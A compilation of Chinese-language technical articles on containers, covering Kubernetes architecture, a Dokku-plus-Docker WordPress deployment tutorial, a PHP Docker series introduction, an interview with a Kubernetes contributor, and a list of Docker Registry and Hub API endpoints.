service和replicationController只是建立在pod之上的抽象，最终是要作用于pod的，那么它们如何跟pod联系起来呢？这就引入了label的概念：label其实很好理解，就是为pod加上可用于搜索或关联的一组key/value标签，而service和replicationController正是通过label来与pod关联的。为了将访问Service的请求转发给后端提供服务的多个容器，正是通过标识容器的labels来选择正确的容器；Replication Controller也使用labels来管理通过 pod 模板创建的一组容器，这样Replication Controller可以更加容易，方便地管理多个容器。


如下图所示，有三个pod都有label为"app=backend"，创建service和replicationController时可以指定同样的label:"app=backend"，再通过label selector机制，就将它们与这三个pod关联起来了。例如，当有其他frontend pod访问该service时，自动会转发到其中的一个backend pod。





3. Kubernetes构件


Kubenetes整体框架如下图，主要包括kubecfg、Master API Server、Kubelet、Minion(Host)以及Proxy。





3.1 Master


Master定义了Kubernetes 集群Master/API Server的主要声明，包括Pod Registry、Controller Registry、Service Registry、Endpoint Registry、Minion Registry、Binding Registry、RESTStorage以及Client, 是client(Kubecfg)调用Kubernetes API，管理Kubernetes主要构件Pods、Services、Minions、容器的入口。Master由API Server、Scheduler以及Registry等组成。从下图可知Master的工作流主要分以下步骤：



	Kubecfg将特定的请求，比如创建Pod，发送给Kubernetes Client。

	Kubernetes Client将请求发送给API server。

	API Server根据请求的类型，比如创建Pod时storage类型是pods，然后依此选择何种REST Storage API对请求作出处理。

	REST Storage API对的请求作相应的处理。

	将处理的结果存入高可用键值存储系统Etcd中。

	在API Server响应Kubecfg的请求后，Scheduler会根据Kubernetes Client获取集群中运行Pod及Minion信息。

	依据从Kubernetes Client获取的信息，Scheduler将未分发的Pod分发到可用的Minion节点上。





下面是Master的主要构件的详细介绍。


3.1.1 Minion Registry


Minion Registry负责跟踪Kubernetes 集群中有多少Minion(Host)。Kubernetes封装Minion Registry成实现Kubernetes API Server的RESTful API接口REST，通过这些API，我们可以对Minion Registry做Create、Get、List、Delete操作，由于Minon只能被创建或删除，所以不支持Update操作，并把Minion的相关配置信息存储到etcd。除此之外，Scheduler算法根据Minion的资源容量来确定是否将新建Pod分发到该Minion节点。


可以通过curl http://{master-apiserver-ip}:4001/v2/keys/registry/minions/来验证etcd中存储的内容。


3.1.2 Pod Registry


Pod Registry负责跟踪Kubernetes集群中有多少Pod在运行，以及这些Pod跟Minion是如何的映射关系。将Pod Registry和Cloud Provider信息及其他相关信息封装成实现Kubernetes API Server的RESTful API接口REST。通过这些API，我们可以对Pod进行Create、Get、List、Update、Delete操作，并将Pod的信息存储到etcd中，而且可以通过Watch接口监视Pod的变化情况，比如一个Pod被新建、删除或者更新。


3.1.3 Service Registry


Service Registry负责跟踪Kubernetes集群中运行的所有服务。根据提供的Cloud Provider及Minion Registry信息把Service Registry封装成实现Kubernetes API Server需要的RESTful API接口REST。利用这些接口，我们可以对Service进行Create、Get、List、Update、Delete操作，以及监视Service变化情况的watch操作，并把Service信息存储到etcd。


3.1.4 Controller Registry


Controller Registry负责跟踪Kubernetes集群中所有的Replication Controller，Replication Controller维护着指定数量的pod 副本(replicas)拷贝，如果其中的一个容器死掉，Replication Controller会自动启动一个新的容器，如果死掉的容器恢复，其会杀死多出的容器以保证指定的拷贝不变。通过封装Controller Registry为实现Kubernetes API Server的RESTful API接口REST， 利用这些接口，我们可以对Replication Controller进行Create、Get、List、Update、Delete操作，以及监视Replication Controller变化情况的watch操作，并把Replication Controller信息存储到etcd。


3.1.5 Endpoints Registry


Endpoints Registry负责收集Service的endpoint，比如Name："mysql"，Endpoints: ["10.10.1.1:1909"，"10.10.2.2:8834"]，同Pod Registry，Controller Registry也实现了Kubernetes API Server的RESTful API接口，可以做Create、Get、List、Update、Delete以及watch操作。


3.1.6 Binding Registry


Binding包括一个需要绑定Pod的ID和Pod被绑定的Host，Scheduler写Binding Registry后，需绑定的Pod被绑定到一个host。Binding Registry也实现了Kubernetes API Server的RESTful API接口，但Binding Registry是一个write-only对象，所有只有Create操作可以使用， 否则会引起错误。


3.1.7 Scheduler


Scheduler收集和分析当前Kubernetes集群中所有Minion节点的资源(内存、CPU)负载情况，然后依此分发新建的Pod到Kubernetes集群中可用的节点。由于一旦Minion节点的资源被分配给Pod，那这些资源就不能再分配给其他Pod， 除非这些Pod被删除或者退出， 因此，Kubernetes需要分析集群中所有Minion的资源使用情况，保证分发的工作负载不会超出当前该Minion节点的可用资源范围。具体来说，Scheduler做以下工作：



	实时监测Kubernetes集群中未分发的Pod。

	实时监测Kubernetes集群中所有运行的Pod，Scheduler需要根据这些Pod的资源状况安全地将未分发的Pod分发到指定的Minion节点上。

	Scheduler也监测Minion节点信息，由于会频繁查找Minion节点，Scheduler会缓存一份最新的信息在本地。

	最后，Scheduler在分发Pod到指定的Minion节点后，会把Pod相关的信息Binding写回API Server。



3.2 Kubelet




根据上图可知Kubelet是Kubernetes集群中每个Minion和Master API Server的连接点，Kubelet运行在每个Minion上，是Master API Server和Minion之间的桥梁，接收Master API Server分配给它的commands和work，与持久性键值存储etcd、file、server和http进行交互，读取配置信息。Kubelet的主要工作是管理Pod和容器的生命周期，其包括Docker Client、Root Directory、Pod Workers、Etcd Client、Cadvisor Client以及Health Checker组件，具体工作如下：



	通过Worker给Pod异步运行特定的Action

	设置容器的环境变量

	给容器绑定Volume

	给容器绑定Port

	根据指定的Pod运行一个单一容器

	杀死容器

	给指定的Pod创建network 容器

	删除Pod的所有容器

	同步Pod的状态

	从cAdvisor获取container info、 pod info、 root info、 machine info

	检测Pod的容器健康状态信息

	在容器中运行命令。



3.3 Proxy


Proxy是为了解决外部网络能够访问跨机器集群中容器提供的应用服务而设计的，运行在每个Minion上。Proxy提供TCP/UDP sockets的proxy，每创建一种Service，Proxy主要从etcd获取Services和Endpoints的配置信息（也可以从file获取），然后根据配置信息在Minion上启动一个Proxy的进程并监听相应的服务端口，当外部请求发生时，Proxy会根据Load Balancer将请求分发到后端正确的容器处理。


所以Proxy不但解决了同一主宿机相同服务端口冲突的问题，还提供了Service转发服务端口对外提供服务的能力，Proxy后端使用了随机、轮循负载均衡算法。关于更多 kube-proxy 的内容 KUBERNETES代码走读之MINION NODE 组件 KUBE-PROXY 。


4. etcd


etcd在上面架构图上提到过几次，但它并不是kubernetes的一部分，它是 CoreOS 团队发起的一个管理配置信息和服务发现（service discovery）项目，目标是构建一个高可用的分布式键值（key-value）数据库。与kubernetes和docker一样还是在快速迭代开发中的产品，没有ZooKeeper那样成熟。有机会再另外通过文章介绍。




参考
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Kubernetes-DESIGN （Kubernetes 设计概要）
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看到一篇不错的文章，收藏一下：


【编者的话】本文作者介绍了如何在单机上将Dokku和Docker结合。Dokku是一个小型的PaaS平台，只需使用Git将代码push到对应的仓库上就能自动触发部署，构建过程非常简单。但是Dokku对于用户来说，相当于黑盒PaaS，作者想更多的控制部署流程，所以做了一番折腾。不过在我看来，作者的思路却不是那么容易理解，虽然解决了问题，但却也违背了初衷，你觉得了？欢迎一起讨论。


Docker允许你以统一的方式来部署任何类型的应用。而Dokku是一个基于Docker的小型PaaS平台。你可以简单的将代码仓库push到服务器上，然后让Dokku来自动构建并部署应用。


尽管Dokku的自动构建能力非常强大而且很酷，但有时候你想要更多的控制应用的部署。例如，你可能想将应用部署到一个容器里面，然后访问另一个运行着数据库的容器。或者你想使用Docker registry上丰富的Docker镜像。


Dokku有很多社区贡献的插件，这些插件可以很好的帮助你实现这些需求。但是，你可能仍然会觉得这工具不是很适合你要做事情。毕竟，Docker的最大优势之一就是它可以让你在的生产环境和开发环境运行相似或者完全一样的容器，这也就减少了部署的痛苦。使用Dokku意味着你要放弃了对应用部署的控制。这对于简单的应用或者测试场景来说可以接受，但是对于比较重要的生产环境来说，你可能就需要夺回这个控制权。


现在我有一些项目需要部署，并且我觉得单台服务器应该足够了。我使用预定义好的Docker镜像在生产环境的服务器上部署这些项目，同时，我又想使用Dokku，因为它支持快速推送代码到服务器。为此，我们专门研究了如何在单台服务器上高效的结合Dokku和Docker。


配置服务器


我在DigitalOcean上用预先定义好的Dokku镜像创建了一个VPS。令人欣喜的是其版本十分的新，Docker和Dokku都是最新的稳定版本。如果你有自己的服务器，你可以像这样安装最新的Docker，然后跟着安装说明安装Dokku。


使用Dokku来部署一个简单的应用


在安装好Dokku后，你需要指定应用部署的域名，并将域名如mydomain.com写到/home/dokku/VHOST。


现在Dokku运行起来了，我们需要注册开发机上的SSH key，这样我们才好将代码push到Dokku上。在我们的开发机器上运行下面的命令：


cat .ssh/id_rsa.pub| ssh root@mydomain.com sshcommand acl-add dokku myname



（myname可以用来追踪你的ssh key，方便之后你想删除）


现在我们可以开始使用Dokku了。要试试是否正常可以检出（check out）在本地开发环境的一个Node.js的项目，然后将其push到Dokku：


git clone git@github.com:heroku/node-js-sample.git
cd node-js-sample
git remote add dokku dokku@mydomain.com:test
git push dokku master



现在你应该能看到如下输出：


Counting objects: 381, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (308/308), done.
Writing objects: 100% (381/381), 210.18 KiB | 0 bytes/s, done.
Total 381 (delta 49), reused 373 (delta 44)
-----> Cleaning up ...
-----> Building test ...
-----> Adding BUILD_ENV to build environment...
-----> Node.js app detected
-----> Requested node range: 0.10.x
-----> Resolved node version: 0.10.35
-----> Downloading and installing node
-----> Exporting config vars to environment
-----> Installing dependencies

...

-----> Running post-deploy
-----> Creating new /home/dokku/test/VHOST...
-----> Configuring test.mydomain.com...
-----> Creating http nginx.conf
-----> Running nginx-pre-reload
   Reloading nginx
=====> Application deployed:

http://test.mydomain.com



正如输出中说的一样，你的应用现在部署到了http://test.mydomain.com！


用Docker来部署一个WordPress博客


现在我们已经知道了如何使用Dokku构建应用。现在让我们来试试部署一个预先定义好的Docker镜像：我们将要用官方的WordPress Docker镜像来部署一个博客。但在我们搭建一个新的博客之前，你首先需要搭建好一个MySQL数据库服务器，我是这么做的：


docker run --name mysql --restart=always \
   -e MYSQL_ROOT_PASSWORD=some-secret-string -d mariadb



命令中的--restart=always选项是用来保证Docker守护进程在容器出错或者重启后自动启动容器。


如果WordPress容器有访问数据库服务器的root权限，那它就可以自己设置数据库，但是我想自己来配置。我并没有直接在另外一个容器中安装MySQL客户端，而是直接在服务器上安装：


apt-get install -qqy mysql-client
mysql -h`docker inspect --format "{{ .NetworkSettings.IPAddress }}" mysql` \
  -uroot -p



之前的代码是用来获取指派给数据库服务容器的IP地址，以便连接。现在我可以手动为我的新博客搭建好一个数据库：


CREATE DATABASE myblog;
CREATE USER 'myblog'@'%' IDENTIFIED BY 'another-password';
GRANT ALL ON myblog.* TO 'myblog'@'%';
FLUSH PRIVILEGES;



现在我们可以开始部署WordPress博客了：


docker run --name myblog --link mysql:mysql \
   -e WORDPRESS_DB_USER=myblog -e WORDPRESS_DB_PASSWORD=another-password \
   -e WORDPRESS_DB_NAME=myblog -e VIRTUAL_HOST=blog.mydomain.com \
   --restart=always -d wordpress



现在我们的容器已经开始运行，我们可以用docker ps来确认。然而，我们只能在服务器上直接访问80端口，VIRTUAL_HOST的环境变量显示了我们真正想要访问的地址，但是这还不能用。


用docker-gen来做Nginx的反向代理


在服务器上已经有Nginx运行了，因为Dokku的运行依赖它。现在找到我们博客容器的IP，然后在Nignx中配置好域名和IP的对应关系，这应该不难。问题在于如果博客容器重启了，例如服务器重启之后，其IP地址就可能改变，然后我们又需要手动更新Nginx的配置。


幸运的是，有人曾经走过一步，经历过这样的折磨，然后弄出了解决方法：docker-gen。这是一个自动构建然后更新所有运行着的容器的配置文件的工具。


让我们安装这个神奇的工具吧：


cd /tmp
wget https://github.com/jwilder/docker-gen/releases/download/0.3.6/docker-gen-linux-amd64-0.3.6.tar.gz
tar xzf docker-gen-linux-amd64-0.3.6.tar.gz
mv docker-gen /etc/nginx/docker-gen



现在我们需要为我们想生成的Nginx配置文件创建一个模板。我的配置文件基于jwilder的nginx-proxy，将配置写到/etc/nginx/docker.template。现在，我们可以运行docker-gen，但是如果我们需要在服务器重启的时候自动执行此命令，那我们需要将docker-gen安装成一个service。要做到这一点，我们可以将以下脚本写到/etc/nginx/docker-gen-service:


/etc/nginx/docker-gen-service:
#!/bin/bash
/etc/nginx/docker-gen -only-exposed -watch -notify "service nginx reload" \
  /etc/nginx/docker.template /etc/nginx/sites-enabled/docker_containers



然后让其可执行：chmod +x /etc/nginx/docker-gen-service。现在我们需要添加upstart配置到/etc/init/docker-nginx.conf:


# docker-nginx - Nginx config generator for Docker containers

description "Nginx config generator for Docker containers"
author "Somebody <somebody@example.com>"
When to start the service

start on filesystem and started docker
When to stop the service

stop on runlevel [016]
Automatically restart process if crashed

respawn
Send output to logfile

console log
Run before process

pre-start script
[ -d /etc/nginx/certs ] || mkdir -p /etc/nginx/certs
end script
Start the process

exec /etc/nginx/docker-gen-service



现在我们可以启动我们的新服务：initctl start docker-nginx。docker-gen会看着我们所有的Dockder容器，然后更新Nginx文件。它会检查每一个容器的VIRTUAL_HOST环境变量，还记得我们在的启动WordPress容器的时候，我们指定了-e VIRTUAL_HOST=blog.mydomain.com选项（如果你想将多个域名指向同一个容器，你可以用逗号分隔：VIRTUAL_HOST=blog.a.com,test.b.com）。因而假设我们的DNS配置是正确的，我们现在可以访问http://blog.mydomain.com，然后看到熟悉的WordPress的初始化配置界面。


原文链接：Dokku and Docker on the same server: power and control

译文原文：Dokku和Docker的完美配合，一起来辩

（翻译：钟最龙 校对：李颖杰）
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用 PHP 作为我们「Docker 开发大礼包」开篇是带着一些朝圣的心情的。这是一门堪称「古老」的语言，这也是一门争议最多的语言，这更是一门不断涅槃的语言。「PHP 是最好的语言」这个流传已久的梗，或许正是对我国最有群众基础的编程语言描述里，最经典的注解。


就让我们一起回顾一下 PHP 的发展历程作为此系列文章的开篇。历史是最好的老师，他给每个未来提供启示。


谁创造了 PHP？


Rasmus Lerdorf 在 1994 年创造了 PHP，Andi Gutmans 和 Zeev Suraski 之后于 1997 年重写了 PHP 的解析器，之后他们在以色列成立了著名的 Zend 公司来维护 PHP 的开发。


PHP 是什么的缩写？


起先的意思直白的有点近乎粗鲁「Personal Home Page」，后来改成了「PHP: Hypertext Preprocessor」即便用今天的眼光看也是很酷炫的命名。


PHP 最著名的版本？


PHP 5 发布于 2004 年 7 月 13 日，距今正好第十一个年头。


下一个 PHP 版本？


PHP 7 计划于 2015 年 11 月 12 日发布。


PHP 的形象代言人？


一只蓝色的大象，因为「elePHPant」（黄色的那头是 Hadoop）。


谁在主导 PHP 的方向？


PHP Group 来维护其标准，Zend 作为商业公司提供参考实现。


HHVM 又是什么？


HipHop Virtual Machine (HHVM) 是 Facebook 对 PHP 的一次革命性衍进，HHVM 采用实时编译进程，使得 PHP 的执行效率大幅提升。Facebook 在 2013 年全面采用 HHVM 运行 PHP，间接拉升了 PHP 生态的逼格，激发了整个 PHPer 群体的活力。


PHP 的包依赖怎么做？


Composer


PHP 的单元测试怎么做？


PHPUnit


常见的 PHP 技术栈和应用场景？


LAMP（Linux + Apache + MySQL + PHP）长期占据着我国互联网应用的主流架构。即便在今天，这也是电商和社区类互联网公司的主要技术栈。尤其在电商领域，说 PHP 托起半个中国的购物车都不为过。


为什么 ASP 和 JSP 都没有 PHP 受众广？


当年 FTP 比起 VPS 简直是白菜价。但这也间接养成了 PHP 开发重功能轻工程的通病，加上部署的随意性，上规模后运维虐成狗。


就这个运维问题，作者 Rasmus Lerdorf 怎么看？



  I'm not a real programmer. I throw together things until it works then I move on. The real programmers will say “Yeah it works but you're leaking memory everywhere. Perhaps we should fix that.” I’ll just restart Apache every 10 requests.




翻译过来就是：「重启应该就有好运气」。


那怎么破的，能教教吗？


上 Docker！


欢迎进入「PHP 应用 Docker 开发大礼包 - Powered by DaoCloud」，六篇由浅入深、精心设计的系列文章，带领 PHP 开发者领略 Docker 化应用开发和发布的全新体验。



	如何制作一个定制的 PHP 基础 Docker 镜像（一）

	如何开发一个 PHP 的 Docker 化应用（二）

	如何开发一个 PHP + MySQL 的 Docker 化应用（三）

	如何配置一个 Docker 化持续集成的 PHP 开发环境（四）

	如何开发一个 PHP + NewRelic 的生产级 Docker 化应用（五）

	如何开发一个 Laravel + MySQL 框架的 Docker 化应用（六）




 VLIS实验室云计算组张磊：关于Docker、开源，以及教育的尝试

作者：图灵访谈

来源： VLIS实验室云计算组张磊：关于Docker、开源，以及教育的尝试



                    
非商业转载请注明作译者、出处，并保留本文的原始链接：http://www.ituring.com.cn/article/203520



张磊，浙江大学计算机学院博士生，科研人员，VLIS实验室云计算组技术负责人、策划人。Kubernetes项目贡献者和维护者，Docker项目贡献者。前Cloud Foundry中国团队和百度私有云项目组成员。InfoQ、CSDN、《程序员》杂志等多篇浙大系技术文章的贡献者和策划人，他还是《Docker——容器与容器云》一书的主要作者之一。



问：你现在的目标是成为一位计算机科学家吗？

是。

问：你是从什么时候开始想成为一位计算机科学家的？

大概是由于中学时候就开始玩电脑，然后自然而然就进入了计算机专业。由于我的兴趣主要在云计算以及Linux操作系统上，所以我的导师跟课题都是跟这些相关的。

2011年我们开始专注于开源云计算技术，当时开源的力量正在逐渐浮现。后来事实证明我们对趋势的判断是对的，因为从那个时候开始，软件的开发和发布以及整个生命周期就发生了改变。从此以后，可以说开源技术掌握了云计算行业，甚至是整个计算机行业的主流发展态势。于是，我们开始更深入地钻研Cloud Foundry, Docker, Kubernetes这样的技术，并且作为这些项目的贡献者成为了社区中的重要成员。

问：你认为在云计算领域，学术跟产业之间有没有明确的界限？

首先，云计算这个领域本身就比较特殊，它其实没有很多基础性研究，所以这个领域的学术跟工业是分不开的，中间没有一个明显的界限。比如，伯克利的AMP实验室做的一套高性能数据分析系统，最终开源出去就变成现在的明星项目Spark，成为工业界大数据的事实标准。在这些领域中，没有任何一个界限能够划定哪些技术是学术的，而工业界不能用。因为云计算本来就是“站在巨人肩膀上”的一种技术，它基于已有的分布式系统来做进一步的创新和整合。

问：你现在在SEL实验室的工作是什么？

我主要负责实验室云计算团队的技术工作 ，以及与技术相关的其他事宜，包括开源以及一些商业上的技术合作。

问：SEL实验室的前身是VLIS实验室，当初建立VLIS实验室的目的是什么？现在SEL实验室的关注点有没有变化？

我们实验室最开始的研究方向就是软件工程以及计算机软件。实验室一开始就注重从学校的角度跟知名企业建立强强联合的关系，致力于为工业界提供最好的大规模信息系统的开发技术和能力。在那个时候，我们的主要关注点是金融信息系统的开发，并且同全球最大的资金托管机构美国道富银行建立了紧密的合作研发关系。从这个时候开始，我们向工业界输出了大量的技术能力，整个北美市场的股票交易系统的后台都是我们实验室师生参与重新开发的。而软件技术发展到现在，新一代的大规模分布式系统开始更多地以知名开源项目作为表现形式，这些技术也就自然成为我们新的关注点。其中最重要的还是云计算技术，但是我们略有侧重，更关注轻量化的云计算技术，我们认为这将是一个新的变革。

问：你们实验室跟Cloud Foundry还有百度、思科等知名企业都是以什么形式合作的？

首先肯定有人才上的合作，因为学校本来是人才，我们会选择一些从事这个方向的优秀的学生，联合工业界的公司，比如去道富，VMware，思科总部或者百度等等，完成一个以技术研究为核心，以实际开发为途径的长期合作学习的过程。学生不是实习几个月然后回来，而是从开始到毕业，从研究的方向到最后的毕业论文都跟这些公司的真实技术场景紧密相关，并且专注于这些IT巨头的核心技术以及云计算平台的开发和研究工作。

问：你们实验室为什么在Docker还不太完善的时候就敢去尝试这种技术？

容器技术不是一种新技术，它其实很早就存在了。在此之前，我们搞Linux内核的时候已经用过类似的技术，而且做PaaS用到的技术也是基于Linux容器的，所以我们团队很久以前就对这种技术有过很多接触和研究。2013年的时候，我们同学主要在从事的是VMware的Warden容器的研发，紧接着Docker就出现了，并且比前一代容器技术要完善很多，所以我们就自然而然地转到了Docker上。这就是为什么Docker一出现就会引起我们的关注。轻量化的云计算技术一定会以这样的方式实现，只不过实现不同，而我们肯定会选择更好的实现。

问：你本人是怎么成为Kubernetes和Docker项目的贡献者的？

我是从Cloud Foundry团队出来的，而Cloud Foundry是一个纯粹的开源项目，它没有市场人员和项目经理这样的角色来干扰工程师的工作，所有贡献者都是通过远程协作和结对编程来贡献代码的。我，以及我们实验室的大多数同学从一开始就是这样一种工作模式，所以对于我们来说，参与开源项目是很自然的，而且我们也不像其他公司那样寻求互等的商业利益。

我们认为开源项目是一定要参与的，不仅要参与，还要学会主导项目的方向，成为维护者和更重要的核心代码贡献者。我刚才讲过，我们的愿景就是要基于开源软件做事情，做研究也好，做进一步的商业活动也好，一定要进入到社区里面，而不仅仅是一个使用者。

问：Docker一直存在安全方面的问题，在这方面你有哪些经验可以和大家分享？

我也在《Docker——容器和容器云》里提到过，Docker本身确实有安全问题，但是一定要分场景讨论。比如，什么样的场景下我会在一台裸机上部署Docker；什么样的场景下我会让Docker容器跑在虚拟机里面。在目前这种情况下，如果你是一个公有云提供商，我认为你还是要把容器拷在你的虚拟机里面，防止出现逃逸状况。

我们在书里讲过，你的Docker容器和整个Docker Daemon环境最好做安全加固，在操作系统层面做很多加固，设置权限，并且在整个系统的设计上把权限设计和授权设计摆在第一位，逐层来把不正确的行为过滤掉。另外，一定要区分场景。对于私有云的话，安全要求满足第一点就可以了。但是对于公有云来说，一定要做最高等级的安全预案。

以上是从业务方面讲，但是从技术方面讲，容器本身的安全问题是很难解决的，但是有一些努力的方向非常值得我们关注。比如最新的Rocket集成了英特尔在CPU上的一些虚拟化技术来做到硬件加固，这就是等级很高的安全技术。另外还有像国内赵鹏他们做的Hyper，是一个基于虚拟化技术的容器，它跟虚拟机的安全系数几乎是一样的。所以我觉得从另一方面说，这些技术应该得到大家的重视，并且集成到我们现有的解决方案里面。

问：现在在生产环境中使用Docker的人还是不太多，其背后的原因多种多样，你认为现在Docker面临的最大的阻碍是什么？

第一个问题在于Docker所属公司本身的强势，以及他们自己想做一揽子事情的态度。这个问题使得Docker现在变得非常臃肿，而且导致本来应该专注解决的问题没有解决掉。如果他们投入主要力量来解决容器的安全问题，我觉得反而要比现在的态势好。

第二，我们使用Docker也好，对它做二次开发也好，其实我们不要把自己的眼光局限在Docker上面。让Docker只做容器的事情其实是最好的选择，其余的事情交给更专业的人。我们不要过分相信来自某些商业化的宣传，比如一个人或者一个团队就能完成从开发到部署到运维的所有流程。哪怕你一开始可以，但是随着业务的正常增长，技术发展到一定程度之后你一定是做不到的。所以一定是专业的人做专业的事。

问：Docker和CoreOS一起创立了一个开放容器计划（OCP）。你认为OCP的成立对于软件开发行业会造成什么影响？

容器镜像不单指Docker镜像，它很久之前就已经存在了。容器镜像作为一种软件的发布方式，现在已经得到了大家的认可，成为了行业的事实标准。并且由于容器镜像本身已经存在了很久，所以它本身标准的普及是比较容易的。所以OCP的成立其实是为这种镜像发布的方式提供了一个技术上的标准。

以前，这一套东西虽然可以做标准，但是没有技术来支撑它，现在有了。我们通过标准容器来支撑标准镜像。所以，这两个标准如果能够在OCP里面得到统一，我相信它对整个软件工程将来的发展都是有很大影响的。我们现在学校的课程里就已经引入了完全基于容器的软件工程设计模式，谷歌也提出了基于容器的编程模型，将来的软件工程一定会向这方向发展。

问：你有一篇文章叫做《从Borg到Kubernetes》。你觉得Kubernetes今后的发展会怎么样？它和Mesos分别会向什么方向发展？

我们最近也跟谷歌的人一起交流了很久，首先，Kubernetes确实背负了很多Borg之前的优秀的设计理念，其中包括Borg在谷歌内部大规模集群业务的应用。虽然现在还有一些应用我们看不到，但是Kubernetes将来的发展目标一定是用来解决这些问题。

Mesos和Kubernetes在一开始发展时其实是非常直接的竞争对手，因为这两者关注的事情有很多是一致的。但是随着这两个项目的继续发展，它们已经形成了合作关系。比如，Mesos本来就是一个优秀的调度器，那么接下来Mesos会更关注这个业务。并且Mesos可以被更方便地集成到Kubernetes里，作为Kubernetes的一个核心调度器来工作。

这两个项目现在的关注点其实是不一样的，使用的场景也不一样。在今后的发展中，它们会逐渐融合对方的优点。互相之间的集成会越来越多，互相之间的重合会越来越少。

问：学术跟产业之间的脱轨问题一直以来经常被人们所诟病，浙大在这方面做得很不错，有没有什么经验可以分享？

首先，作为一所学校，要学会如何在我们国家的体制下，在不影响正常的教学、科研的前提下，获得企业的支持。学校需要鼓励学生在看似枯燥的学业中找到真正的个人兴趣点。比如我们实验室就涌现出了非常多的代码贡献者、作者、领域内的小专家。因为我们实验室从一开始就鼓励个人发展自己的兴趣，并且鼓励同学向大家分享你的工作成果。这样，工业界会自然而然地关注过来，合作也接踵而至。

另一方面，如果学校自身的硬件条件很强，技术水平很高的话，学校就可以为工业界做出很多贡献，无论是开源贡献，还是参与到工业的开发。并且还有一点很重要，就是学校要想办法把实验室的技术和研究经验转化成工程上可以应用到增值需求里的东西，而不只是埋头写论文。所以，我们实验室在硕士生阶段，不会提出苛刻的论文要求。我们更希望你的论文是对一个开源项目的贡献，或者是我们和产业界合作的课题的相关实际工程经验。

同时，我们也在浙大试点了一个学院，整个软件学院在以更加工程的方式推动科研的走向。我们课题组从十年前开始做这样的事情，所以学术跟产业之间的脱轨问题我们这边几乎是没有的。

问：浙大有这么好的环境，但是很多其他大学没有能力提供这样的环境。你建议在一般大学学习的学生怎样来丰富自己的专业知识？

首先对于一个学生，尤其是CS专业的学生，我认为实习是最重要的。你一定要想办法在跟导师融洽相处的前提下，寻求到与自己专业相关的实习机会，并且珍惜这些机会，因为实习能够使你的专业技能得到锻炼。并且你应该想办法把实习转化成毕业论文，或者是学校要求的课程设计。这样的经历会对你在工业界的影响力也好，工作也好，起到很大的积极作用。

问：你认为学习Docker需要几个阶段？

我们在书的后记里面讲过，不止是Docker，对于任何一个开源项目来说，都有这样的三个或四个阶段。
首先，你要去用，而且不只要用，还要变成一个优秀的玩家。对于开源项目的所有指令、所有设计，你应该有一个感性认识。

在这个基础之上就是源码，要读源码。读源码是一件非常有意思的事，但是在这个过程中，你要学会提问，带着问题去读源码，才会有收获。

然后就是转化，转化包括几种情况。比如，你可以将容器技术转化成你们实验室的某个项目的基础或者工作中的整个项目。另外，你要学会对项目做贡献。从最开始的找bug、解决bug、修改文档，到最后提出自己的特性、融入到社区里，只有这样你才能够获得最多的知识，以最快的速度提高自己在这个领域中的能力。

这三步之后，如果你在这个方面做得更多，可以考虑一些商业化的事情。比如你可以做一些相关的买卖，或者在你的公司里推广这些开源技术。

问：你觉得读者应该怎样使用《Docker——容器和容器云》这本书，读者在哪个阶段需要用到这本书？

这本书应该更适合在第二或第三阶段阅读。

这本书的一个特点就是它倾向于把原理帮你从源码中抽象出来，而不仅仅带你走读代码。因为代码很快会过时，所以我们特别注重抽象原理。在第三阶段的时候，你要去做开发，所以你对技术的熟悉程度和原理必然要有一个深刻的认识。而这本书的很多实践章节，包括我们对代码的整个框架结构的分析，会对你有很大的帮助。

问：《Docker——容器和容器云》的关注点和其他类似的书有什么不同？

首先，我们不认为容器就是Docker，我们认为它只是容器技术一种优秀的实现。所以我们的书叫《Docker——容器与容器云》，我们更关注所有基于容器的云平台的实现方式。你可以把容器理解为我们现在的虚拟机，把容器云理解为OpenStack，所以我们这本书肯定要先讲虚拟机原理，以此为基础我们才能讲清楚容器云，也就是容器的大规模管理方式。

很多目前市面上的书只关注于Docker本身，而我们更关注Docker背后的libcontainer也就是runc的工作原理，于此同时，我们还非常关注所谓的容器技术与大规模容器集群管理的结合方式。我们非常想为大家解决的一个问题就是，真正的大规模容器集群管理应该是什么样的。我们认为Kubernetes现在的方向是非常好的，所以在书中我们对它做了一个非常详细深入的解读，这在国内外应该是首次，而且从谷歌和CoreOS工程师的反馈来看，甚至在国外可能也是第一次。



更多精彩，加入图灵访谈微信！
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在以前的系列教程中，我们已经探讨了 Docker 中很多很重要的组件，本篇文章我们深入 Docker：探讨 Docker API。


值得注意的是，Docker 为了方便使用，提供了如下四种 API：



	Docker Registry API

	Docker Hub API

	Docker OAuth API

	Docker Remote API



本篇文章专门用来探讨 Docker Registry API、Docker Hub API 和 OAuth API。


Docker Registry API


Docker Registry API 为了简化镜像和仓库的存储而设计的 REST API。这些 API 并不涉及用户账户和用户认证。


取出镜像层：


GET /v1/images/(image_id)/layer






插入镜像层：


PUT /v1/images/(image_id)/layer






检索镜像：


GET /v1/images/(image_id)/json



检索镜像的根镜像：


GET /v1/images/(image_id)/ancestry



获取指定库的所有标签：


GET /v1/repositories/(namespace)/(repository)/tags






获取指定库的指定标签：


GET /v1/repositories/(namespace)/(repository)/tags/(tag*)



删除标签：


DELETE /v1/repositories/(namespace)/(repository)/tags/(tag*)






registry 状态检查：


GET /v1/_ping






Docker Hub API


Docker Hub API 是为 Docker Hub 设计的 REST API。Docker Hub（也就是 Index）是使用校验和公共 namespaces 的方式来存储账户信息、认证账户、进行账户授权。API同时也允许操作相关的用户仓库和 library 仓库。


特殊的仓库的操作


创建新的仓库


PUT /v1/repositories/(repo_name)/



删除现有仓库


DELETE /v1/repositories/(repo_name)/



更新仓库镜像


PUT /v1/repositories/(repo_name)/images



获取仓库镜像


GET /v1/repositories/(repo_name)/images



认证


PUT /v1/repositories/(repo_name)/auth



以上都是特殊仓库的操作，下面是对普通用户开放的 API。



  特殊的 library 仓库和用户仓库的区别在于 library 仓库是官方仓库，可以直接使用 ubuntu 这种名字做 repo 的名字，而译者就只能使用 qiuker521/ubuntu 作为 repo 的名字。




普通用户的操作


创建新的用户仓库


PUT /v1/repositories/(namespace)/(repo_name)/



删除现有仓库


DELETE /v1/repositories/(namespace)/(repo_name)/






更新镜像


PUT /v1/repositories/(namespace)/(repo_name)/images






获取镜像


GET /v1/repositories/(namespace)/(repo_name)/images






用户认证


GET /v1/users






创建新用户


POST /v1/users






更新用户信息


PUT /v1/users/(username)/



总结


Docker API 已经讲了三个，而且都是 Docker Hub 架构相关的 API。下面两篇文章将专门讲 Docker Remote API，操作宿主机 Docker 服务端的 API。
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上篇文章介绍了使用 Dockerfile 进行自动化部署和 Dockerfile 的常用命令，本篇文章来探讨 Docker Registry。类似 GitHub，Docker Registry 是用来存储 Docker 镜像的地方。了解 Docker Registry 之前先来了解几个相关的知识吧。



